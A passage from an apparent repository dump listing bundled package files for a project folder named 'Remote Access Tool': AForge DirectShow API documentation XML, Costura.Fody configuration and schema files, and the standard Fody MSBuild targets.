advise request.\n            </summary>\n            \n            <param name=\"baseTime\">Base reference time, in 100-nanosecond units. See Remarks.</param>\n            <param name=\"streamTime\">Stream offset time, in 100-nanosecond units. See Remarks.</param>\n            <param name=\"hEvent\">Handle to an event, created by the caller.</param>\n            <param name=\"pdwAdviseCookie\">Pointer to a variable that receives an identifier for the advise request.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IReferenceClock.AdvisePeriodic(System.Int64,System.Int64,System.IntPtr,System.Int32@)\">\n            <summary>\n            The AdvisePeriodic method creates a periodic advise request.\n            </summary>\n            \n            <param name=\"startTime\">Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.</param>\n            <param name=\"periodTime\">Time between notifications, in 100-nanosecond units. Must be greater than zero.</param>\n            <param name=\"hSemaphore\">Handle to a semaphore, created by the caller.</param>\n            <param name=\"pdwAdviseCookie\">Pointer to a variable that receives an identifier for the advise request.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IReferenceClock.Unadvise(System.Int32)\">\n            <summary>\n            The Unadvise method removes a pending advise request.\n            </summary>\n            \n            <param name=\"dwAdviseCookie\">Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime  or IReferenceClock::AdvisePeriodic  in the pdwAdviseToken parameter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IAMCrossbar\">\n            <summary>\n            The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCrossbar.get_PinCounts(System.Int32@,System.Int32@)\">\n            <summary>\n            Retrieves the number of input and output pins on the crossbar filter.\n            </summary>\n            \n            <param name=\"outputPinCount\">Variable that receives the number of output pins.</param>\n            <param name=\"inputPinCount\">Variable that receives the number of input pins.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCrossbar.CanRoute(System.Int32,System.Int32)\">\n            <summary>\n            Queries whether a specified input pin can be routed to a specified output pin.\n            </summary>\n            \n            <param name=\"outputPinIndex\">Specifies the index of the output pin.</param>\n            <param name=\"inputPinIndex\">Specifies the index of input pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCrossbar.Route(System.Int32,System.Int32)\">\n            <summary>\n            Routes an input pin to an output pin.\n            </summary>\n            \n            <param name=\"outputPinIndex\">Specifies the index of the output pin.</param>\n            <param name=\"inputPinIndex\">Specifies the index of the input pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCrossbar.get_IsRoutedTo(System.Int32,System.Int32@)\">\n            <summary>\n            Retrieves the input pin that is currently routed to the specified output pin.\n            </summary>\n            \n            <param name=\"outputPinIndex\">Specifies the index of the output pin.</param>\n            <param name=\"inputPinIndex\">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IAMCrossbar.get_CrossbarPinInfo(System.Boolean,System.Int32,System.Int32@,AForge.Video.DirectShow.PhysicalConnectorType@)\">\n            <summary>\n            Retrieves information about a specified pin.\n            </summary>\n            \n            <param name=\"isInputPin\">Specifies the direction of the pin. Use one of the following values.</param>\n            <param name=\"pinIndex\">Specifies the index of the pin.</param>\n            <param name=\"pinIndexRelated\">Variable that receives the index of the related pin, or –1 if no pin is related to this pin.</param>\n            <param name=\"physicalType\">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IBaseFilter\">\n            <summary>\n            The IBaseFilter interface provides methods for controlling a filter.\n            All DirectShow filters expose this interface\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.GetClassID(System.Guid@)\">\n            <summary>\n            Returns the class identifier (CLSID) for the component object.\n            </summary>\n            \n            <param name=\"ClassID\">Points to the location of the CLSID on return.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.Stop\">\n            <summary>\n            Stops the filter.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.Pause\">\n            <summary>\n            Pauses the filter.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.Run(System.Int64)\">\n            <summary>\n            Runs the filter.\n            </summary>\n            \n            <param name=\"start\">Reference time corresponding to stream time 0.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.GetState(System.Int32,System.Int32@)\">\n            <summary>\n            Retrieves the state of the filter (running, stopped, or paused).\n            </summary>\n            \n            <param name=\"milliSecsTimeout\">Time-out interval, in milliseconds.</param>\n            <param name=\"filterState\">Pointer to a variable that receives filter's state.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.SetSyncSource(System.IntPtr)\">\n            <summary>\n            Sets the reference clock for the filter or the filter graph.\n            </summary>\n            \n            <param name=\"clock\">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.GetSyncSource(System.IntPtr@)\">\n            <summary>\n            Retrieves the current reference clock.\n            </summary>\n            \n            <param name=\"clock\">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.EnumPins(AForge.Video.DirectShow.Internals.IEnumPins@)\">\n            <summary>\n            Enumerates the pins on this filter.\n            </summary>\n            \n            <param name=\"enumPins\">Address of a variable that receives a pointer to the IEnumPins interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.FindPin(System.String,AForge.Video.DirectShow.Internals.IPin@)\">\n            <summary>\n            Retrieves the pin with the specified identifier.\n            </summary>\n            \n            <param name=\"id\">Pointer to a constant wide-character string that identifies the pin.</param>\n            <param name=\"pin\">Address of a variable that receives a pointer to the pin's IPin interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.QueryFilterInfo(AForge.Video.DirectShow.Internals.FilterInfo@)\">\n            <summary>\n            Retrieves information about the filter.\n            </summary>\n            \n            <param name=\"filterInfo\">Pointer to <b>FilterInfo</b> structure.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.JoinFilterGraph(AForge.Video.DirectShow.Internals.IFilterGraph,System.String)\">\n            <summary>\n            Notifies the filter that it has joined or left the filter graph.\n            </summary>\n            \n            <param name=\"graph\">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL\n            if the filter is leaving the graph.</param>\n            <param name=\"name\">String that specifies a name for the filter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IBaseFilter.QueryVendorInfo(System.String@)\">\n            <summary>\n            Retrieves a string containing vendor information.\n            </summary>\n            \n            <param name=\"vendorInfo\">Receives a string containing the vendor information.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IMediaEventEx\">\n            <summary>\n            The interface inherits contains methods for retrieving event notifications and for overriding the\n            filter graph's default handling of events.\n            </summary>\n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.GetEventHandle(System.IntPtr@)\">\n            <summary>\n            Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.\n            </summary>\n            <param name=\"hEvent\">Pointer to a variable that receives the event handle.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.GetEvent(AForge.Video.DirectShow.Internals.DsEvCode@,System.IntPtr@,System.IntPtr@,System.Int32)\">\n            <summary>\n            Retrieves the next event notification from the event queue.\n            </summary>\n            \n            <param name=\"lEventCode\">Variable that receives the event code.</param>\n            <param name=\"lParam1\">Pointer to a variable that receives the first event parameter.</param>\n            <param name=\"lParam2\">Pointer to a variable that receives the second event parameter.</param>\n            <param name=\"msTimeout\">Time-out interval, in milliseconds.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.WaitForCompletion(System.Int32,System.Int32@)\">\n            <summary>\n            Waits for the filter graph to render all available data.\n            </summary>\n            \n            <param name=\"msTimeout\">Time-out interval, in milliseconds. Pass zero to return immediately.</param>\n            <param name=\"pEvCode\">Pointer to a variable that receives an event code.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.CancelDefaultHandling(System.Int32)\">\n            <summary>\n            Cancels the Filter Graph Manager's default handling for a specified event.\n            </summary>\n            \n            <param name=\"lEvCode\">Event code for which to cancel default handling.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.RestoreDefaultHandling(System.Int32)\">\n            <summary>\n            Restores the Filter Graph Manager's default handling for a specified event.\n            </summary>\n            <param name=\"lEvCode\">Event code for which to restore default handling.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.FreeEventParams(AForge.Video.DirectShow.Internals.DsEvCode,System.IntPtr,System.IntPtr)\">\n            <summary>\n            Frees resources associated with the parameters of an event.\n            </summary>\n            <param name=\"lEvCode\">Event code.</param>\n            <param name=\"lParam1\">First event parameter.</param>\n            <param name=\"lParam2\">Second event parameter.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.SetNotifyWindow(System.IntPtr,System.Int32,System.IntPtr)\">\n            <summary>\n            Registers a window to process event notifications.\n            </summary>\n            \n            <param name=\"hwnd\">Handle to the window, or <see cref=\"F:System.IntPtr.Zero\"/> to stop receiving event messages.</param>\n            <param name=\"lMsg\">Window message to be passed as the notification.</param>\n            <param name=\"lInstanceData\">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.SetNotifyFlags(System.Int32)\">\n            <summary>\n            Enables or disables event notifications.\n            </summary>\n            \n            <param name=\"lNoNotifyFlags\">Value indicating whether to enable or disable event notifications.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IMediaEventEx.GetNotifyFlags(System.Int32@)\">\n            <summary>\n            Determines whether event notifications are enabled.\n            </summary>\n            \n            <param name=\"lplNoNotifyFlags\">Variable that receives current notification status.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.FileVideoSource\">\n            <summary>\n            Video source for video files.\n            </summary>\n            \n            <remarks><para>The video source provides access to video files. DirectShow is used to access video\n            files.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // create video source\n            FileVideoSource videoSource = new FileVideoSource( fileName );\n            // set NewFrame event handler\n            videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            // start the video source\n            videoSource.Start( );\n            // ...\n            // signal to stop\n            videoSource.SignalToStop( );\n            // ...\n            \n            // New frame event handler, which is invoked on each new available video frame\n            private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )\n            {\n                // get new frame\n                Bitmap bitmap = eventArgs.Frame;\n                // process the frame\n            }\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.FileVideoSource\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.DirectShow.FileVideoSource\"/> class.\n            </summary>\n            \n            <param name=\"fileName\">Video file name.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.DirectShow.FileVideoSource.NewFrame\"/> event.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.DirectShow.FileVideoSource.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops video source aborting its thread.</para>\n            \n            <para><note>Since the method aborts background thread, its usage is highly not preferred\n            and should be done only if there are no other options. The correct way of stopping camera\n            is <see cref=\"M:AForge.Video.DirectShow.FileVideoSource.SignalToStop\">signaling it stop</see> and then\n            <see cref=\"M:AForge.Video.DirectShow.FileVideoSource.WaitForStop\">waiting</see> for background thread's completion.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.Free\">\n            <summary>\n            Free resource.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.WorkerThread\">\n            <summary>\n            Worker thread.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.FileVideoSource.OnNewFrame(System.Drawing.Bitmap)\">\n            <summary>\n            Notifies client about new frame.\n            </summary>\n            \n            <param name=\"image\">New frame's image.</param>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.FileVideoSource.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.FileVideoSource.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.DirectShow.FileVideoSource.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n            <remarks>Video source is represented by video file name.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks>Number of bytes the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.PreventFreezing\">\n            <summary>\n            Prevent video freezing after screen saver and workstation lock or not.\n            </summary>\n            \n            <remarks>\n            <para>The value specifies if the class should prevent video freezing during and\n            after screen saver or workstation lock. To prevent freezing the <i>DirectShow</i> graph\n            should not contain <i>Renderer</i> filter, which is added by <i>Render()</i> method\n            of graph. However, in some cases it may be required to call <i>Render()</i> method of graph, since\n            it may add some more filters, which may be required for playing video. So, the property is\n            a trade off - it is possible to prevent video freezing skipping adding renderer filter or\n            it is possible to keep renderer filter, but video may freeze during screen saver.</para>\n            \n            <para><note>The property may become obsolete in the future when approach to disable freezing\n            and adding all required filters is found.</note></para>\n            \n            <para><note>The property should be set before calling <see cref=\"M:AForge.Video.DirectShow.FileVideoSource.Start\"/> method\n            of the class to have effect.</note></para>\n            \n            <para>Default value of this property is set to <b>false</b>.</para>\n            \n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.DirectShow.FileVideoSource.ReferenceClockEnabled\">\n            <summary>\n            Enables/disables reference clock on the graph.\n            </summary>\n            \n            <remarks><para>Disabling reference clocks causes DirectShow graph to run as fast as\n            it can process data. When enabled, it will process frames according to presentation\n            time of a video file.</para>\n            \n            <para><note>The property should be set before calling <see cref=\"M:AForge.Video.DirectShow.FileVideoSource.Start\"/> method\n            of the class to have effect.</note></para>\n            \n            <para>Default value of this property is set to <b>true</b>.</para>\n            </remarks>\n            \n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Costura.Fody.4.1.0/build/Costura.Fody.props",
    "content": "﻿<Project xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <WeaverFiles Include=\"$(MsBuildThisFileDirectory)..\\weaver\\$(MSBuildThisFileName).dll\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "Remote Access Tool/packages/Costura.Fody.4.1.0/lib/net40/Costura.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Costura</name>\n    </assembly>\n    <members>\n        <member name=\"T:CosturaUtility\">\n            <summary>\n            Contains methods for interacting with the Costura system.\n            </summary>\n        </member>\n        <member name=\"M:CosturaUtility.Initialize\">\n            <summary>\n            Call this to Initialize the Costura system.\n            </summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Costura.Fody.4.1.0/weaver/Costura.Fody.xcf",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<xs:complexType xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <xs:all>\n    <xs:element  minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n      <xs:annotation>\n        <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n      </xs:annotation>\n    </xs:element>\n    <xs:element  minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n      <xs:annotation>\n        <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n      </xs:annotation>\n    </xs:element>\n    <xs:element  minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n      <xs:annotation>\n        <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n      </xs:annotation>\n    </xs:element>\n    <xs:element  minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n      <xs:annotation>\n        <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n      </xs:annotation>\n    </xs:element>\n    <xs:element  minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n      <xs:annotation>\n        <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n      </xs:annotation>\n    </xs:element>\n  </xs:all>\n  <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n    <xs:annotation>\n      <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n    <xs:annotation>\n      <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n    <xs:annotation>\n      <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n    <xs:annotation>\n      <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n    <xs:annotation>\n      <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n  <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n    <xs:annotation>\n      <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n    </xs:annotation>\n  </xs:attribute>\n</xs:complexType>"
  },
  {
    "path": "Remote Access Tool/packages/Fody.6.0.0/build/Fody.targets",
    "content": "﻿<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n\n  <PropertyGroup>\n    <ProjectWeaverXml Condition=\"$(ProjectWeaverXml) == ''\">$(ProjectDir)FodyWeavers.xml</ProjectWeaverXml>\n    <FodyPath Condition=\"$(FodyPath) == ''\">$(MSBuildThisFileDirectory)..\\</FodyPath>\n    <FodyAssemblyDirectory Condition=\"$(MSBuildRuntimeType) == 'Core'\">$(FodyPath)netstandardtask</FodyAssemblyDirectory>\n    <FodyAssemblyDirectory Condition=\"$(MSBuildRuntimeType) != 'Core'\">$(FodyPath)netclassictask</FodyAssemblyDirectory>\n    <FodyAssembly Condition=\"$(FodyAssembly) == ''\">$(FodyAssemblyDirectory)\\Fody.dll</FodyAssembly>\n    <DefaultItemExcludes>$(DefaultItemExcludes);FodyWeavers.xsd</DefaultItemExcludes>\n    <FodyGenerateXsd Condition=\"$(FodyGenerateXsd) == ''\">true</FodyGenerateXsd>\n    <MsBuildMajorVersion>15</MsBuildMajorVersion>\n    <MsBuildMajorVersion Condition=\"'$(MSBuildVersion)' != ''\">$([System.Version]::Parse($(MSBuildVersion)).Major)</MsBuildMajorVersion>\n  </PropertyGroup>\n\n  <ItemGroup Condition=\"Exists($(ProjectWeaverXml))\">\n    <UpToDateCheckInput Include=\"$(ProjectWeaverXml)\" />\n    <CustomAdditionalCompileInputs Include=\"$(ProjectWeaverXml)\" />\n  </ItemGroup>\n\n  <!-- Support for NCrunch -->\n  <ItemGroup Condition=\"'$(NCrunch)' == '1' and '$(TargetFramework)' == '' and '$(TargetFrameworks)' == ''\">\n    <None Include=\"$(FodyAssemblyDirectory)\\*.*\" />\n    <None Include=\"@(WeaverFiles)\" />\n  </ItemGroup>\n\n  <UsingTask TaskName=\"Fody.WeavingTask\" AssemblyFile=\"$(FodyAssembly)\" />\n  <UsingTask TaskName=\"Fody.UpdateReferenceCopyLocalTask\" AssemblyFile=\"$(FodyAssembly)\" />\n  <UsingTask TaskName=\"Fody.VerifyTask\" AssemblyFile=\"$(FodyAssembly)\" />\n\n  <Target\n      Name=\"FodyTarget\"\n      AfterTargets=\"AfterCompile\"\n      Condition=\"Exists(@(IntermediateAssembly)) And $(DesignTimeBuild) != true And $(DisableFody) != true\"\n      DependsOnTargets=\"$(FodyDependsOnTargets)\"\n      Inputs=\"@(IntermediateAssembly);$(ProjectWeaverXml)\"\n      Outputs=\"$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache\">\n\n    <Error Condition=\"($(MsBuildMajorVersion) &lt; 16)\"\n           Text=\"Fody is only supported on MSBuild 16 and above. Current version: $(MsBuildMajorVersion).\" />\n    <Fody.WeavingTask\n        AssemblyFile=\"@(IntermediateAssembly)\"\n        IntermediateDirectory=\"$(ProjectDir)$(IntermediateOutputPath)\"\n        KeyOriginatorFile=\"$(KeyOriginatorFile)\"\n        AssemblyOriginatorKeyFile=\"$(AssemblyOriginatorKeyFile)\"\n        ProjectDirectory=\"$(MSBuildProjectDirectory)\"\n        ProjectFile=\"$(MSBuildProjectFullPath)\"\n        SolutionDirectory=\"$(SolutionDir)\"\n        References=\"@(ReferencePath)\"\n        SignAssembly=\"$(SignAssembly)\"\n        ReferenceCopyLocalFiles=\"@(ReferenceCopyLocalPaths)\"\n        DefineConstants=\"$(DefineConstants)\"\n        DebugType=\"$(DebugType)\"\n        DocumentationFile=\"@(DocFileItem->'%(FullPath)')\"\n        WeaverFiles=\"@(WeaverFiles)\"\n        NCrunchOriginalSolutionDirectory=\"$(NCrunchOriginalSolutionDir)\"\n        IntermediateCopyLocalFilesCache=\"$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache\"\n        GenerateXsd=\"$(FodyGenerateXsd)\"\n      >\n\n      <Output\n        TaskParameter=\"ExecutedWeavers\"\n        PropertyName=\"FodyExecutedWeavers\" />\n\n    </Fody.WeavingTask>\n\n    <ItemGroup>\n      <FileWrites Include=\"$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache\" />\n    </ItemGroup>\n\n  </Target>\n\n  <Target\n      Name=\"FodyUpdateCopyLocalFilesTarget\"\n      AfterTargets=\"FodyTarget\"\n    >\n\n    <Fody.UpdateReferenceCopyLocalTask\n        ReferenceCopyLocalFiles=\"@(ReferenceCopyLocalPaths)\"\n        IntermediateCopyLocalFilesCache=\"$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache\"\n      >\n\n      <Output\n        TaskParameter=\"UpdatedReferenceCopyLocalFiles\"\n        ItemName=\"FodyUpdatedReferenceCopyLocalPaths\" />\n\n    </Fody.UpdateReferenceCopyLocalTask>\n\n    <ItemGroup>\n      <ReferenceCopyLocalPaths Remove=\"@(ReferenceCopyLocalPaths)\" />\n      <ReferenceCopyLocalPaths Include=\"@(FodyUpdatedReferenceCopyLocalPaths)\" />\n    </ItemGroup>\n\n  </Target>\n\n  <Target\n      Name=\"FodyVerifyTarget\"\n      AfterTargets=\"AfterBuild\"\n      Condition=\"'$(NCrunch)' != '1' And $(FodyExecutedWeavers) != '' And $(DisableFody) != true\"\n      DependsOnTargets=\"$(FodyVerifyDependsOnTargets)\">\n\n    <Fody.VerifyTask\n        ProjectDirectory=\"$(MSBuildProjectDirectory)\"\n        TargetPath=\"$(TargetPath)\"\n        SolutionDirectory=\"$(SolutionDir)\"\n        DefineConstants=\"$(DefineConstants)\"\n        NCrunchOriginalSolutionDirectory=\"$(NCrunchOriginalSolutionDir)\"\n      />\n  </Target>\n\n</Project>"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/LICENSE.md",
